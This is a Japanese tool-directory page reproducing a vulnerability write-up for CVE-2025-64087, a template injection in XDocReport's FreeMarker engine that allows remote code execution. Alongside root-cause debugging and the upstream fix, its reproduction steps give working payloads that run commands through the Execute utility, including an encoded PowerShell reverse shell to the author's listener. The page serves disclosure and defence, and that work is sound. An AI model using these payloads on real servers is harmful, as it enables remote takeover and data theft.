Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
ツール/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

リポジトリを見る
116ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-64087 (SSTI FreeMarker)

XDocReportにおけるServer-Side Template Injection (SSTI) により、Apache FreeMarkerエンジンを介したリモートコード実行が可能

バグの定義

脆弱性の概要

  • Server-Side Template Injection (SSTI) は、Webアプリケーションのセキュリティ脆弱性であり、コンテンツ管理システム(CMS)やWebフレームワークで使用されるテンプレートに悪意のあるコードを注入し、リモートからの攻撃、機密情報の取得、またはシステムへの侵入操作を実行することを可能にします。
  • SSTIは、Injection脆弱性(SQL Injection、XSSなど)の一種であり、攻撃者がテンプレートシステムを悪用してリモートから悪意のあるコードを実行します。SSTI攻撃が成功すると、攻撃者はサーバー側で独自のコードを実行でき、機密情報の収集、システムへの侵入操作、および不正なリソースへのアクセスが可能になります。
  • SSTI脆弱性は、安全でないテンプレートシステムの使用、またはテンプレートにパラメータを挿入する前に入力の検証と処理が行われていないために発生することがよくあります。SSTI攻撃が成功した場合、被害組織に重大な損害をもたらす可能性があります。

ビジネスへの影響

  • SSTI脆弱性は、以下のような深刻な結果を引き起こす可能性があります。
  • 悪意のあるコードの実行:攻撃者はこの脆弱性を利用してサーバー上で悪意のあるコードを実行し、データの盗難、システム上での不正行為、さらにはサーバーの完全な制御を可能にします。
  • 機密情報の漏洩:SSTIにより、攻撃者はサーバー上のファイルを読み取り、変更、または削除できます。これらのファイルにアカウントやパスワードなどの機密情報が含まれている場合、攻撃者は容易にその情報を漏洩させることができます。
  • ユーザーへの脅迫または詐欺攻撃:攻撃者はSSTIを利用して、Webサイトのコンテンツを変更したり、偽のカスタムボタンを追加したりして、ユーザーに対する脅迫または詐欺攻撃を実行できます。ユーザーがこれらのボタンをクリックすると、攻撃者はユーザー情報を盗んだり、ユーザーのコンピュータにマルウェアをインストールしたりする可能性があります。

Severity: CRITICAL

image

説明と影響

OpenSAGRES XDocReportにおいて、FreeMarkerエンジンでDOCXテンプレートを処理する際にServer-Side Template Injection (SSTI) 脆弱性が発見されました。特定の設定下で、細工されたテンプレートによりリモートコード実行 (RCE) が発生する可能性があります。

ツールをダウンロード

人事管理Webサイトでは、ユーザーが.docxドキュメントファイルをシステムにアップロードできます。処理中、アプリケーションはテンプレートエンジンFreeMarker(FreemarkerTemplateEngine.javaファイル内)を使用して、${"freemarker.template.utility.Execute"?new()("whoami")}のような内容をレンダリングしますが、入力内容の制御やフィルタリングの仕組みはありません。この脆弱性により、攻撃者は悪意のある式を.docxファイル(テンプレート)に挿入し、サーバー上でのリモートコード実行 (RCE) を引き起こし、情報の盗難やシステムの乗っ取りに悪用される可能性があります。

影響を受けるコンポーネント

fr.opensagres.xdocreport.template.freemarker — XDocReport (バージョン1.0.0から2.1.0まで)。

根本原因分析

  • ファイルhttps://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.javaでは、入力されたxdocファイルの内容をチェックしていません。テンプレートの内容はそのままロードされ、サンドボックス化やディレクティブ/式の制限なしに、FreeMarkerエンジンによって処理されるprocess(context, writer, template)に渡されます。その結果、攻撃者は悪意のあるFreeMarkerの式やコマンドを含むテンプレートを提供でき、リモートコード実行 (RCE) につながります。

image

再現手順

  1. ユーザーが内部に以下のペイロードを含む.docxファイルをアップロードします。``` ${"freemarker.template.utility.Execute"?new()("calc")}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

2. 正常に実行され、電卓アプリが起動することを確認

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

3. 同様に、システム上で実行中のユーザー情報を取得するために、payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}

image

image

  1. テンプレートエンジンによる .docx ファイルの処理を通じて、システムのデータが返されていることがわかる

image

  1. 次のペイロードも同様に:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

6. インパクトをRCEに引き上げる

- 待ち受けマシンはWSLで、IPアドレスは`172.26.208.130`です

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

- 以下のペイロードでエクスプロイトします:

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}

image

  • .docx ファイルを xdocreport に渡して処理する

image

  • WSL マシンでシェルが取得されたことが確認できる

image

解決策

reflection の実行をブロック (最も安全だが現在ビルドエラー)

  • 以下の内容をファイル xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java に追加する

image

image

私の修正では、${cuong.name} のような通常のオブジェクトとプロパティのレンダリングは引き続き許可し、危険な組み込み関数のみをブロックしています

  • すべての SSTI ペイロードがブロックされる:
    • ${'freemarker.template.utility.Execute'?new()('calc')} - ブロックされる by ALLOWS_NOTHING_RESOLVER
    • ${'java.lang.Runtime'?api.getRuntime()} - ブロックされる by setAPIBuiltinEnabled(false)
    • ?new() と ?api を使用する他のすべてのペイロードもブロックされる

入力の検証

1. メインファイル - FreemarkerTemplateEngine.java

Path: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

変更点:

  • ✅ インポートを追加: java.util.regex.Pattern
    image

  • ✅ メソッド validateTemplateSecurity(Reader reader) を追加 — 危険なパターンを検証
    image

  • ✅ processNoCache() を更新 — Template 作成前に検証を追加
    image

  • ✅ process(String templateName, …) を更新 — このメソッドに検証を追加
    image

2. テストファイル - FreemarkerTemplateEngineSecurityTestCase.java

Path: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

変更点:

  • ✅ 新しいテストケースを作成 — 一般的な SSTI ペイロードをテスト
  • ✅ テストした主なペイロード: ${"freemarker.template.utility.Execute"?new()("whoami")}
  • ✅ 追加でテストしたパターン: ?new, java.lang.Runtime, java.lang.ProcessBuilder, など
  • ✅ 安全なテンプレートのテスト — 通常のテンプレートが正しく動作することを確認

変更の概要

ファイル変更の種類目的
FreemarkerTemplateEngine.java修正SSTI 保護を追加
FreemarkerTemplateEngineSecurityTestCase.java新規ファイル検証ロジックのテスト

最終的な修正

  • https://github.com/opensagres/xdocreport/pull/705

image

image

バージョン 2.2.0 では保護メカニズムが有効になり、SSTI の防止に成功しました

image

参考文献

  • https://portswigger.net/web-security/server-side-template-injection

デバッグ環境のセットアップ

image

  • Main.java ファイル```java package org.example;

import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

public class Main {

root@kitploit:~
public static void main(String[] args) {
    try {
        // Đọc file đầu vào chứa biểu thức Velocity
        File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
        InputStream input = new FileInputStream(docxTemplate);

        // Load template sử dụng FreeMarker
        IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

        // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
        IContext context = report.createContext();

        // Xuất ra file mới
        OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
        report.process(context, out);

        System.out.println("✅ Đã tạo file result.docx thành công.");
    } catch (Exception e) {
        System.err.println("❌ Lỗi xử lý file:");
        e.printStackTrace();
    }
}

}

root@kitploit:~
- インポートが必要なライブラリ```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

A 開始点 (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

root@kitploit:~
→ ソースはこのDOCXファイルそのものです — もしファイルがユーザーによってアップロード/書き込まれた場合、内部のテンプレートコンテンツ(FreeMarker構文)は信頼できないデータです。```
InputStream input = new FileInputStream(docxTemplate);

→ ファイルの内容を読み取ってXDocReportに渡す。```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

root@kitploit:~
- `loadReport(...)` は DOCX ファイルを解析(パース)し、DOCX 内のエントリ/テンプレートを探して `IXDocReport` を作成します(内部で FreeMarker の Template オブジェクトを初期化するか、テンプレート用のリーダーを保持します)。

- DOCX ファイル内のテンプレートコンテンツは、これでレポートオブジェクト内に収まります(まだ実行はされていません)。

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

`zipInputStream.getNextEntry()` は ZIP(.docx)内の各エントリ(各ファイル)を繰り返し処理します。

`archive = new XDocArchive(...)` — まだアーカイブがない場合は、ドキュメントのエントリを整理・登録するためのオブジェクトを初期化します。

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

要するに:この部分は DOCX の内容を内部構造(`XDocArchive`)に展開し、後続の処理でサブファイル(`document.xml` など)にアクセスできるようにします。```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                    ITemplateEngine templateEngine, boolean cacheReport )
        throws IOException, XDocReportException
    {
        initializeIfNeeded();
        // 2) zip was loaded, create an instance of report
        IXDocReport report = createReport( sourceStream );
        // 3) Update the report id if need.
        if ( StringUtils.isEmpty( reportId ) )
        {
            reportId = report.toString();
        }
        report.setId( reportId );
        // 4) Search or set the template engine.
        if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
        {
            // Template engine was not forced.
            // Search template engine
            String documentKind = report.getKind();
            templateEngine =
                TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
            if ( templateEngine == null )
            {
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
            }
        }
        report.setTemplateEngine( templateEngine );
        if ( cacheReport )
        {
            registerReport( report );
        }
        return report;
    }
ステップアクション目的
1DOCXファイルを読む元のレポート構造を取得する
2IXDocReportを作成テンプレートを表す
3IDを割り当て一意に管理する
4テンプレートエンジンを選択式を処理するため (Freemarker/Velocity)
5必要に応じてキャッシュパフォーマンスを最適化
6レポートを返す結果ファイルをレンダリングするために使用

image

要約すると、IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); の時点ではSSTIチェックメカニズムはなく、docx内のxmlファイルをロードして、処理の準備ができた(例えばレンダリング、データマージなど)IXDocReport report を返すだけです。

image

report.process(context, out); にて

image

  • これがトリガーポイント(実行シンク)です:XDocReportは対応するエンジン(ここではFreeMarker)を呼び出し、テンプレートをコンテキストとマージし、結果をoutにレンダリングします。
  • このメソッドは、事前に読み込まれたドキュメントテンプレート(例:.docxまたは.odt)を取得し、コンテキストオブジェクト(通常はIContext)からのデータをテンプレート内の変数に埋め込みます。
  • その後、完全なドキュメント(実際のデータを含む)をレンダリングし、結果をストリームout、つまりファイルresults.docxに書き込みます。

この関数の内部を詳しく見ると、preprocess(...) を呼び出してXMLを解析し、各XMLエントリを読み取り、XMLコンテンツを解析してBufferedDocumentを作成し、Writerに書き出します(これは前処理されたXMLバージョンです)。

image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

root@kitploit:~
        return false;
    }
    catch ( SAXException e )
    {
        throw new XDocReportException( e );
    }
}
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

その後、`processNoCache()` に移り、`getReader()` を呼び出します。
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

`getReader()` 関数は、テンプレート全体をエスケープディレクティブで囲むために使用され、コンテンツが安全に処理されることを保証します(HTMLエスケープ、インジェクション回避)。

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

元のテンプレート:```xml
<w:p>
  <w:t>Hello ${name}!</w:t>
</w:p>

getReader() 処理後:```xml [#-- Hello ${name}! [/#escape][#--]]>--]

root@kitploit:~
Freemarkerエンジンをより安全に読み取れるようにします:

- XML保護:XML内の特殊文字をエスケープします
- 安全な処理:Freemarkerがテンプレートを解析する際のエラーを回避します

その後、`FMParser`を呼び出してFreemarkerの構文解析を行います

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

最後に、`process()`内で`environment.process();`を呼び出し、データリーダーを使用します```
public void process() throws TemplateException, IOException {
        Object savedEnv = threadEnv.get();
        threadEnv.set(this);
        try {
            // Cached values from a previous execution are possibly outdated.
            clearCachedValues();
            try {
                doAutoImportsAndIncludes(this);
                visit(getTemplate().getRootTreeNode());
                // It's here as we must not flush if there was an exception.
                if (getAutoFlush()) {
                    out.flush();
                }
            } finally {
                // It's just to allow the GC to free memory...
                clearCachedValues();
            }
        } finally {
            threadEnv.set(savedEnv);
        }
    }

👉 ここが最も重要なステップです — 実際のレンダリングが行われます。

  • getTemplate() はパース済みのテンプレート(AST)を返します。

  • getRootTreeNode() は FMParser がパース時に生成する構文木のルートノードです。

  • visit() は FreeMarker のコアAPIであり、テンプレートの各要素を走査・レンダリングするために使用され、freemarker.core.Environment 内で定義されています。

    • TextBlock に遭遇 → テキストを out に書き出す。

    • Interpolation(例:${user.name})に遭遇 → dataModel を検索し、値を取得して out に書き出す。

    • #if, #list, #include, macro に遭遇 → 対応するロジックを処理する。```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

それは entryName `word/document.xml` でトリガーする

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

次に、関数 `accept()` にジャンプする

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    TemplateElement[] accept(Environment env) throws TemplateException, IOException {
        final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
        final Writer out = env.getOut();
        if (moOrStr instanceof String) {
            final String s = (String) moOrStr;
            if (autoEscape) {
                markupOutputFormat.output(s, out);
            } else {
                out.write(s);
            }
        } else {
            final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
            final MarkupOutputFormat moOF = mo.getOutputFormat();
            // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
            if (moOF == outputFormat) {
                moOF.output(mo, out);
            } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                final String srcPlainText;
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                srcPlainText = moOF.getSourcePlainText(mo);
                if (srcPlainText == null) {
                    throw new _TemplateModelException(escapedExpression,
                            "The value to print is in ", new _DelayedToString(moOF),
                            " format, which differs from the current output format, ",
                            new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                }
                if (markupOutputFormat != null) {
                    markupOutputFormat.output(srcPlainText, out);
                } else {
                    out.write(srcPlainText);
                }
            } else if (markupOutputFormat != null) {
                markupOutputFormat.outputForeign(mo, out);
            } else {
                moOF.output(mo, out);
            }
        }
        return null;
    }

image```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

`visit()` 関数内の実行フローは次のとおりです。```
visit(Interpolation)                // gọi accept(...)
 └─ Interpolation.accept(env)
     └─ calculateInterpolatedStringOrMarkup(env)
         └─ expression.eval(env)
             └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                 └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây

デバッグの概要```

[User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

root@kitploit:~
## 🔍 **悪用可能な主要ポイントの要約**

| 段階                     | クラス                  | 役割                      | SSTI関連                     |
| ----------------------- | ----------------------- | ------------------------- | ---------------------------- |
| `loadReport()`          | `XDocReportRegistry`   | テンプレート読み込み      | 入力制御なし                 |
| `getReader()`           | `TemplateEngine`       | テンプレートデータ読み取り | ペイロードを含む可能性あり   |
| `FMParser`              | `freemarker.core`      | コンテンツ解析            | `${}`変数が解析される        |
| `Environment.process()` | `freemarker.core`      | テンプレートレンダリング  | 各ノードの`visit()`を呼び出す |
| `visit()` / `eval()`    | `freemarker.core`      | 式の実行                  | **SSTI/RCEポイント**          |

---

## 資料

- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link